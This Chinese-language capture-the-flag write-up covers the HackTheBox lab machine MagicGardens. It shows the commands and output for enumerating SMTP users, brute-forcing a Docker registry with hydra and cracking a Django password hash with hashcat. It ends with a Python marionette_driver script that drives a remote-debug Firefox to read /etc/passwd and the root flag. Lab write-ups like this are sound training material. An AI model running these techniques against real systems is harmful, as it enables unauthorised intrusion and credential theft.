通过 VRFY 的方式爆破 SMTP 服务,获得用户名 alex
通过对 Docker register 服务登录的爆破,获得 alex 用户的口令
docker 私有仓库中,有 80 端口 web 服务的镜像, pull 下来运行,可以在容器中发现db.sqlite3文件
db.sqlite3 中包含 morty 用户的密码 hash 值,使用 hashcat 进行爆破,获得口令
查看运行服务,以及端口,发现firefox 相关 remote debug 服务,使用 Python marionette_driver 库进行连接,操作远程的 firefox 浏览器
访问本地文件,同时获得 user flag 和 root flag
先使用 nmap 扫描一下。
nmap -sS -p- 10.10.11.9
可以得到开放端口:22, 25, 80, 1337, 5000 。
进一步扫描端口的指纹,查看端口的服务及其版本。
nmap -sV -p 22,25,80,1337,5000 10.10.11.9
得到的结果:
$ sudo nmap -sV -p 22,25,80,1337,5000 10.10.11.9
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-21 11:40 CST
Nmap scan report for *.magicgardens.htb (10.10.11.9)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http nginx 1.22.1
1337/tcp open waste?
5000/tcp open ssl/http Docker Registry (API: 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.94%I=7%D=5/21%Time=664C17CA%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,15,"\[x\]\x20Handshake\x20error\n\0")%r(GetRequest,15,"\[x\]
SF:\x20Handshake\x20error\n\0")%r(HTTPOptions,15,"\[x\]\x20Handshake\x20er
SF:ror\n\0")%r(RTSPRequest,15,"\[x\]\x20Handshake\x20error\n\0")%r(RPCChec
SF:k,15,"\[x\]\x20Handshake\x20error\n\0")%r(DNSVersionBindReqTCP,15,"\[x\
SF:]\x20Handshake\x20error\n\0")%r(DNSStatusRequestTCP,15,"\[x\]\x20Handsh
SF:ake\x20error\n\0")%r(Help,15,"\[x\]\x20Handshake\x20error\n\0")%r(Termi
SF:nalServerCookie,15,"\[x\]\x20Handshake\x20error\n\0")%r(X11Probe,15,"\[
SF:x\]\x20Handshake\x20error\n\0")%r(FourOhFourRequest,15,"\[x\]\x20Handsh
SF:ake\x20error\n\0")%r(LPDString,15,"\[x\]\x20Handshake\x20error\n\0")%r(
SF:LDAPSearchReq,15,"\[x\]\x20Handshake\x20error\n\0")%r(LDAPBindReq,15,"\
SF:[x\]\x20Handshake\x20error\n\0")%r(LANDesk-RC,15,"\[x\]\x20Handshake\x2
SF:0error\n\0")%r(TerminalServer,15,"\[x\]\x20Handshake\x20error\n\0")%r(N
SF:CP,15,"\[x\]\x20Handshake\x20error\n\0")%r(NotesRPC,15,"\[x\]\x20Handsh
SF:ake\x20error\n\0")%r(JavaRMI,15,"\[x\]\x20Handshake\x20error\n\0")%r(ms
SF:-sql-s,15,"\[x\]\x20Handshake\x20error\n\0")%r(afp,15,"\[x\]\x20Handsha
SF:ke\x20error\n\0")%r(giop,15,"\[x\]\x20Handshake\x20error\n\0");
Service Info: Host: magicgardens.magicgardens.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.92 seconds
服务信息获取,其中 1337 端口未知,估计是自己写的服务。
对 smtp 服务进行用户名的信息收集,这里使用 smtp-user-enum , 如果 kali 没有,可以直接 apt 下载。
sudo smtp-user-enum -M VRFY -U /usr/share/wordlists/user/username.txt -t 10.10.11.9
这里字典是 github 上找的 https://github.com/rootphantomer/Blasting_dictionary/blob/master/%E5%B8%B8%E7%94%A8%E7%94%A8%E6%88%B7%E5%90%8D.txt
结果:(这里第二遍做,偷个懒,user.txt里面就放了alex)
这里使用 hydra 进行爆破,hydra 本事没有直接的 docker 模块,这里使用 https-get
hydra -l alex -p /usr/share/wordlists/rockyou.txt 10.10.11.9 -s 5000 https-get /v2/
结果:
获得 password:diamonds
尝试之下只能打开 docker registry。
浏览器访问https://10.10.11.9:5000/v2/_catalog
获取私有仓库的镜像列表。
可以得知,有个镜像名为magicgardens,htb
,该镜像与 80 端口服务同名,应该 80 服务的对应镜像。
访问https://10.10.11.9:5000/v2/magicgardens.htb/tags/list
, 获取镜像标签
可知只有一个标签1.3
使用docker login 10.10.11.9:5000 -u alex -p diamonds
登录私有仓库
使用docker pull 10.10.11.9:5000/magicgardens.htb:1.3
拉取镜像,这里需要等待一段时间,因为已经 pull 过了,这里就没有过程了。
使用docker run -p 8888:80 -itd 10.10.11.9:5000/magicgardens.htb:1.3
运行容器。
然后使用docker ps
查看容器id
使用docker exec -it <container:id> bash
进入容器内部。
可以确定,确实是 80 端口服务,其中还有 sqlite3 的数据库。
我们退出容器,或者打开一个新的终端,使用docker cp d70e:/usr/src/app ./
将 web 服务的文件复制到宿主机上。(d70e换成自己的容器id)
查看 db.sqlite3 文件,发现hash值。
这里 hash 的类型是Django (PBKDF2-SHA256)
查看可知编号为 10000.
.\hashcat.exe -a 0 -m 10000 .\hashfile\week5-2.txt .\wordlist\rockyou.txt
获得用户 morty 的口令为 jonasbrothers。
使用 morty:jonasbrothers 登录,进入主机终端。
使用ps aux
获取运行终端,使用netstat -nulte
获取服务运行端口。
这里的端口这些,在启动时是给的随机的,是会变化的。
使用 chisel 打隧道,把127.0.0.1的几个端口映射出来,这里不赘述,互联网上很多文章。
这里可能的漏洞点是 firefox 开启了远程调节,估计还存在一个 geckodriver 服务之类的。
我们访问几个端口,若返回为50:{"applicationType":"gecko","marionetteProtocol":3}
可以确定为 geckodriver 服务端口,我这里是45525端口。
根据前面ps aux
获得的信息,使用的是 marionette 协议,这里可以使用 python 的 marionette_driver 库进行连接,控制 firefox .
贴上代码:
from marionette_driver.marionette import Marionette
# 创建一个Marionette实例
client = Marionette('127.0.0.1', port=45525)
# 启动会话
client.start_session()
# 访问百度或文件
client.navigate('https://www.baidu.com')
# 获取页面内容
print(client.page_source)
# 关闭会话
client.delete_session()
这里的client.navigate('https://www.baidu.com')
可以修改为你想访问的网站和文件,咱们先尝试访问本地服务 127.0.0.1:8000.
执行代码:
client.navigate('http://127.0.0.1:8000')
成功访问到本地的 nginx 服务。
执行代码:
client.navigate('file:///etc/passwd')
成功获取本地文件 /etc/passwd。
执行代码:
client.navigate('file:///root/root.txt')
成功获取 root flag
执行代码:
client.navigate('file:///home/alex/user.txt')
成功获取 user flag
感觉是非预期解,其中还有服务没有用到,比如 1337 端口的那个未知服务,其实 down 下来研究过,放到 ida 中,可以看到是个抓包程序,估计是存在缓冲区溢出的东西,但是这方面比较薄弱,没有去深究。